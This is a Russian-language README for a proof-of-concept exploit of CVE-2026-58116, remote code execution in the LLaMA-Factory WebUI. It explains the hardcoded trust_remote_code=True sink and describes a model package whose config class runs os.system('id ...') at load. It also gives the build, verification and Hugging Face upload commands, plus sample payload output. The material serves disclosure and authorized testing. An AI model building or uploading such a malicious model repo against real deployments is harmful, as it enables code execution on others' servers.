Эксплойт proof-of-concept для CVE-2026-58116, демонстрирующий удалённое выполнение кода в LLaMA-Factory WebUI через внедрение пути модели trust_remote_code. Включает модель с полезной нагрузкой и скрипт проверки для авторизованного тестирования безопасности.
trust_remote_codeДоказательство концепции для CVE-2026-58116 (CVSS 9.8 Critical): удалённое выполнение кода в LLaMA-Factory <= v0.9.5.
WebUI LLaMA-Factory жёстко задаёт trust_remote_code=True при загрузке модели (src/llamafactory/webui/chatter.py:139 и runner.py:175,320). Управляемое атакующим поле «Model path» без проверки попадает в AutoTokenizer.from_pretrained() / AutoModel.from_pretrained(), поэтому библиотека Hugging Face transformers загружает и выполняет произвольный Python-код из вредоносного репозитория модели.
Этот PoC предназначен только для авторизованного тестирования безопасности и обучения. Прилагаемая полезная нагрузка намеренно безвредна (она выводит разведданные о хосте через id). Запускайте её только против систем, которыми вы владеете или на тестирование которых у вас есть разрешение. Никогда не разворачивайте вредоносную полезную нагрузку против инфраструктуры без явного разрешения.
.
├── poc-model/
│ ├── config.json # declares auto_map → attacker modules
│ ├── configuration_poc.py # payload: runs os.system("id ...") at config load
│ ├── modeling_poc.py # minimal stub model class
│ └── __init__.py # makes it an importable package
└── build_and_verify.py # assemble + verify the sink in isolation
transformers создаёт экземпляр класса конфигурации до загрузки каких-либо весов, поэтому полезная нагрузка в PoCConfig.__init__ срабатывает, как только конфиг прочитан — веса существовать не должны. Именно этот путь LLaMA-Factory проходит через src/llamafactory/model/loader.py:
def _get_init_kwargs(model_args):
return {"trust_remote_code": model_args.trust_remote_code, ...} # True (hardcoded)
def load_tokenizer(model_args):
init_kwargs = _get_init_kwargs(model_args)
tokenizer = AutoTokenizer.from_pretrained(model_args.model_name_or_path, **init_kwargs)
Проверьте sink локально (WebUI не нужен — доказывает контракт, который WebUI нарушает):
pip install transformers torch
python3 build_and_verify.py
Ожидаемый вывод — обратите внимание, что баннер полезной нагрузки появляется во время загрузки конфига:
[+] PoC model assembled at .../poc-model
[*] Loading config with trust_remote_code=True (this triggers the PoC)...
============================================================
[CVE-2026-58116 PoC] trust_remote_code payload executed!
time : 2026-07-02T...
host : gpu-host-01
user : hbuser
------------------------------------------------------------
uid=1000(hbuser) gid=1000(hbuser) groups=1000(hbuser)
============================================================
[+] Config loaded: PoCConfig (model_type=poc_model)
Полный цикл через запущенный WebUI LLaMA-Factory:
huggingface-cli login
python3 build_and_verify.py --upload your-user/llmfcty-poc
llamafactory-cli webuiyour-user/llmfcty-poc, нажмите Load Model.